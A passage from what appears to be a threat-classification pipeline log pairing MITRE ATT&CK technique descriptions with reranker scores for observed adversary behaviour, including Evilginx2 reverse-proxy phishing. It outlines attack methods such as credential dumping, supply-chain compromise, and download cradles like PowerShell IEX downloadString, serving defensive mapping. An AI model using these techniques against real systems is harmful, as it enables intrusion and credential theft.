Set-MailboxAuditBypassAssociation cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user’s license from an Enterprise E5 to an Enterprise E3 license.\nTactics: defense impairment\nPlatforms: IaaS, Identity Provider, Office Suite, SaaS" + }, + { + "id": "T1078.002", + "text": "ATT&CK technique: T1078.002 Domain Accounts\nDescription: Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services. Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1674", + "text": "ATT&CK technique: T1674 Input Injection\nDescription: Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts, typing an inline script to be executed, or interacting directly with a GUI-based application. These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs). For example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions. Adversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1021", + "text": "ATT&CK technique: T1021 Remote Services\nDescription: Adversaries may use Valid Accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP). They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. Legitimate applications (such as Software Deployment Tools and other administrative programs) may utilize Remote Services to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.\nTactics: lateral movement\nPlatforms: ESXi, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1195.001", + "text": "ATT&CK technique: T1195.001 Compromise Software Dependencies and Development Tools\nDescription: Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency. This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries. Adversaries may also employ \"typosquatting\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user. Additionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application. By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via Proc Filesystem) or insert further malicious components into the build pipelines for a second-order supply chain compromise. As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action. Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1059.008", + "text": "ATT&CK technique: T1059.008 Network Device CLI\nDescription: Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or SSH. Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.\nTactics: execution\nPlatforms: Network Devices" + }, + { + "id": "T1496.004", + "text": "ATT&CK technique: T1496.004 Cloud Service Hijacking\nDescription: Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete resource-intensive tasks, which may impact hosted service availability. For example, adversaries may leverage email and messaging services, such as AWS Simple Email Service (SES), AWS Simple Notification Service (SNS), SendGrid, and Twilio, in order to send large quantities of spam / Phishing emails and SMS messages. Alternatively, they may engage in LLMJacking by leveraging reverse proxies to hijack the power of cloud-hosted AI models. In some cases, adversaries may leverage services that the victim is already using. In others, particularly when the service is part of a larger cloud platform, they may first enable the service. Leveraging SaaS applications may cause the victim to incur significant financial costs, use up service quotas, and otherwise impact availability.\nTactics: impact\nPlatforms: SaaS" + }, + { + "id": "T1204.005", + "text": "ATT&CK technique: T1204.005 Malicious Library\nDescription: Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency. In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1087", + "text": "ATT&CK technique: T1087 Account Discovery\nDescription: Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts). Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment. For examples, cloud environments typically provide easily accessible interfaces to obtain user lists. On hosts, adversaries can use default PowerShell and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files.\nTactics: discovery\nPlatforms: ESXi, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1567.001", + "text": "ATT&CK technique: T1567.001 Exfiltration to Code Repository\nDescription: Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection. Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1601.001", + "text": "ATT&CK technique: T1601.001 Patch System Image\nDescription: Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses. Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime. To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image. To change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device. In the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the ROMMONkit method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime. By modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via Weaken Encryption, authentication, via Network Device Authentication, and perimeter defenses, via Network Boundary Bridging. Adding new capabilities for the adversary’s purpose include Keylogging, Multi-hop Proxy, and Port Knocking. Adversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with Downgrade System Image, one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via TFTP Boot. When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with ROMMONkit to achieve persistence.\nTactics: defense impairment\nPlatforms: Network Devices" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1098.002", + "text": "ATT&CK technique: T1098.002 Additional Email Delegate Permissions\nDescription: Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. For example, the Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox. In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings. Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders. This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add Additional Cloud Roles to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: Internal Spearphishing), so the messages evade spam/phishing detection mechanisms.\nTactics: persistence, privilege escalation\nPlatforms: Office Suite, Windows" + }, + { + "id": "T1668", + "text": "ATT&CK technique: T1668 Exclusive Control\nDescription: Adversaries who successfully compromise a system may attempt to maintain persistence by “closing the door” behind them – in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system. For example, adversaries may patch a vulnerable, compromised system to prevent other threat actors from leveraging that vulnerability in the future. They may “close the door” in other ways, such as disabling vulnerable services, stripping privileges from accounts, or removing other malware already on the compromised device. Hindering other threat actors may allow an adversary to maintain sole access to a compromised system or network. This prevents the threat actor from needing to compete with or even being removed themselves by other threat actors. It also reduces the “noise” in the environment, lowering the possibility of being caught and evicted by defenders. Finally, in the case of Resource Hijacking, leveraging a compromised device’s full power allows the threat actor to maximize profit.\nTactics: persistence\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1176.002", + "text": "ATT&CK technique: T1176.002 IDE Extensions\nDescription: Adversaries may abuse an integrated development environment (IDE) extension to establish persistent access to victim systems. IDEs such as Visual Studio Code, IntelliJ IDEA, and Eclipse support extensions - software components that add features like code linting, auto-completion, task automation, or integration with tools like Git and Docker. A malicious extension can be installed through an extension marketplace (i.e., Compromise Software Dependencies and Development Tools) or side-loaded directly into the IDE. In addition to installing malicious extensions, adversaries may also leverage benign ones. For example, adversaries may establish persistent SSH tunnels via the use of the VSCode Remote SSH extension (i.e., IDE Tunneling). Trust is typically established through the installation process; once installed, the malicious extension is run every time that the IDE is launched. The extension can then be used to execute arbitrary code, establish a backdoor, mine cryptocurrency, or exfiltrate data.\nTactics: persistence\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1110.002", + "text": "ATT&CK technique: T1110.002 Password Cracking\nDescription: Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. OS Credential Dumping can be used to obtain password hashes, this may only get an adversary so far when Pass the Hash is not an option. Further, adversaries may leverage Data from Configuration Repository in order to obtain hashed credentials for network devices. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.\nTactics: credential access\nPlatforms: Identity Provider, Linux, Network Devices, Office Suite, Windows, macOS" + }, + { + "id": "T1491", + "text": "ATT&CK technique: T1491 Defacement\nDescription: Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.\nTactics: impact\nPlatforms: ESXi, IaaS, Linux, Windows, macOS" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1098", + "score": 0.953125, + "rank": 0 + }, + { + "item_id": "T1213.003", + "score": 0.91015625, + "rank": 1 + }, + { + "item_id": "T1593.003", + "score": 0.73046875, + "rank": 2 + }, + { + "item_id": "T1114.002", + "score": 0.65234375, + "rank": 3 + }, + { + "item_id": "T1087.003", + "score": 0.65234375, + "rank": 4 + }, + { + "item_id": "T1531", + "score": 0.62109375, + "rank": 5 + }, + { + "item_id": "T1003.008", + "score": 0.62109375, + "rank": 6 + }, + { + "item_id": "T1098.004", + "score": 0.59375, + "rank": 7 + }, + { + "item_id": "T1114", + "score": 0.439453125, + "rank": 8 + }, + { + "item_id": "T1586.002", + "score": 0.3203125, + "rank": 9 + }, + { + "item_id": "T1589.001", + "score": 0.28125, + "rank": 10 + }, + { + "item_id": "T1003", + "score": 0.22265625, + "rank": 11 + }, + { + "item_id": "T1584.006", + "score": 0.140625, + "rank": 12 + }, + { + "item_id": "T1070.008", + "score": 0.1328125, + "rank": 13 + }, + { + "item_id": "T1556", + "score": 0.1123046875, + "rank": 14 + }, + { + "item_id": "T1567.001", + "score": 0.1005859375, + "rank": 15 + }, + { + "item_id": "T1021.004", + "score": 0.09033203125, + "rank": 16 + }, + { + "item_id": "T1078", + "score": 0.056396484375, + "rank": 17 + }, + { + "item_id": "T1195", + "score": 0.052978515625, + "rank": 18 + }, + { + "item_id": "T1565", + "score": 0.039306640625, + "rank": 19 + }, + { + "item_id": "T1684", + "score": 0.03759765625, + "rank": 20 + }, + { + "item_id": "T1555", + "score": 0.035400390625, + "rank": 21 + }, + { + "item_id": "T1668", + "score": 0.035400390625, + "rank": 22 + }, + { + "item_id": "T1078.003", + "score": 0.02587890625, + "rank": 23 + }, + { + "item_id": "T1110.002", + "score": 0.02587890625, + "rank": 24 + }, + { + "item_id": "T1685.002", + "score": 0.023193359375, + "rank": 25 + }, + { + "item_id": "T1586", + "score": 0.0203857421875, + "rank": 26 + }, + { + "item_id": "T1556.003", + "score": 0.0125732421875, + "rank": 27 + }, + { + "item_id": "T1552.001", + "score": 0.0118408203125, + "rank": 28 + }, + { + "item_id": "T1204.005", + "score": 0.0118408203125, + "rank": 29 + }, + { + "item_id": "T1110.004", + "score": 0.0111083984375, + "rank": 30 + }, + { + "item_id": "T1087", + "score": 0.01043701171875, + "rank": 31 + }, + { + "item_id": "T1586.003", + "score": 0.00921630859375, + "rank": 32 + }, + { + "item_id": "T1195.001", + "score": 0.00921630859375, + "rank": 33 + }, + { + "item_id": "T1606", + "score": 0.0086669921875, + "rank": 34 + }, + { + "item_id": "T1110", + "score": 0.00811767578125, + "rank": 35 + }, + { + "item_id": "T1608", + "score": 0.00811767578125, + "rank": 36 + }, + { + "item_id": "T1098.001", + "score": 0.00811767578125, + "rank": 37 + }, + { + "item_id": "T1078.002", + "score": 0.007171630859375, + "rank": 38 + }, + { + "item_id": "T1685", + "score": 0.006744384765625, + "rank": 39 + }, + { + "item_id": "T1005", + "score": 0.004364013671875, + "rank": 40 + }, + { + "item_id": "T1554", + "score": 0.004364013671875, + "rank": 41 + }, + { + "item_id": "T1584.001", + "score": 0.004364013671875, + "rank": 42 + }, + { + "item_id": "T1563.001", + "score": 0.00408935546875, + "rank": 43 + }, + { + "item_id": "T1105", + "score": 0.00360107421875, + "rank": 44 + }, + { + "item_id": "T1041", + "score": 0.003387451171875, + "rank": 45 + }, + { + "item_id": "T1555.003", + "score": 0.003387451171875, + "rank": 46 + }, + { + "item_id": "T1021", + "score": 0.003387451171875, + "rank": 47 + }, + { + "item_id": "T1098.002", + "score": 0.003387451171875, + "rank": 48 + }, + { + "item_id": "T1204", + "score": 0.0031890869140625, + "rank": 49 + }, + { + "item_id": "T1552.008", + "score": 0.0028076171875, + "rank": 50 + }, + { + "item_id": "T1546.004", + "score": 0.0026397705078125, + "rank": 51 + }, + { + "item_id": "T1566", + "score": 0.002471923828125, + "rank": 52 + }, + { + "item_id": "T1033", + "score": 0.0019989013671875, + "rank": 53 + }, + { + "item_id": "T1598.003", + "score": 0.0019989013671875, + "rank": 54 + }, + { + "item_id": "T1176.002", + "score": 0.0017547607421875, + "rank": 55 + }, + { + "item_id": "T1496.004", + "score": 0.00164794921875, + "rank": 56 + }, + { + "item_id": "T1490", + "score": 0.00145721435546875, + "rank": 57 + }, + { + "item_id": "T1563", + "score": 0.00128936767578125, + "rank": 58 + }, + { + "item_id": "T1685.003", + "score": 0.001068115234375, + "rank": 59 + }, + { + "item_id": "T1056", + "score": 0.000942230224609375, + "rank": 60 + }, + { + "item_id": "T1491", + "score": 0.00075531005859375, + "rank": 61 + }, + { + "item_id": "T1528", + "score": 0.000732421875, + "rank": 62 + }, + { + "item_id": "T1491.001", + "score": 0.000732421875, + "rank": 63 + }, + { + "item_id": "T1601.001", + "score": 0.00070953369140625, + "rank": 64 + }, + { + "item_id": "T1082", + "score": 0.0006866455078125, + "rank": 65 + }, + { + "item_id": "T1056.003", + "score": 0.000606536865234375, + "rank": 66 + }, + { + "item_id": "T1056.001", + "score": 0.00048828125, + "rank": 67 + }, + { + "item_id": "T1539", + "score": 0.0004444122314453125, + "rank": 68 + }, + { + "item_id": "T1185", + "score": 0.0004444122314453125, + "rank": 69 + }, + { + "item_id": "T1217", + "score": 0.000392913818359375, + "rank": 70 + }, + { + "item_id": "T1059.008", + "score": 0.0003566741943359375, + "rank": 71 + }, + { + "item_id": "T1674", + "score": 0.0003452301025390625, + "rank": 72 + }, + { + "item_id": "T1036.010", + "score": 0.0002307891845703125, + "rank": 73 + }, + { + "item_id": "T1125", + "score": 7.009506225585938e-05, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 27580 + } + }, + "evidence_sha256": "382be083ea1989fd9949cbc4c736949e1038d0dbfd012b8a9aec291252913b06" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 788.2, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: Evilginx2 is an easy to use, transparent reverse proxy written in Golang" + }, + "items": [ + { + "id": "T1090", + "text": "ATT&CK technique: T1090 Proxy\nDescription: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: *Figure 19: Communication via proxy.*" + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: * The email conversations were benign until TA453 provided a link to a compromised website hosting a credential harvesting page." + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: The attacker serves JavaScript using legitimate-looking domains in an attempt to make the traffic look benign." + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Next, the backdoor is stored on a webserver and the full URL path of it is embedded into the maldoc. Lastly, the C2 panel that the backdoor will beacon to is set up." + }, + { + "id": "T1608", + "text": "ATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE\nLabeled report example: This campaign uses Discord services to form a URL to host malicious payloads as follows: *https://cdn.discordapp.com/attachments/ChannelID/AttachmentID/filename.exe*" + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS\nLabeled report example: Visitors are instructed to download and install Privacy Tools software via a specific section of the website." + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1071", + "text": "ATT&CK technique: T1071 Application Layer Protocol\nDescription: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Upon further investigation we found out that the malware includes the open source [iodine source code](https://github.com/yarrick/iodine) – software that enables the tunneling of IPv4 data through a DNS server." + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, 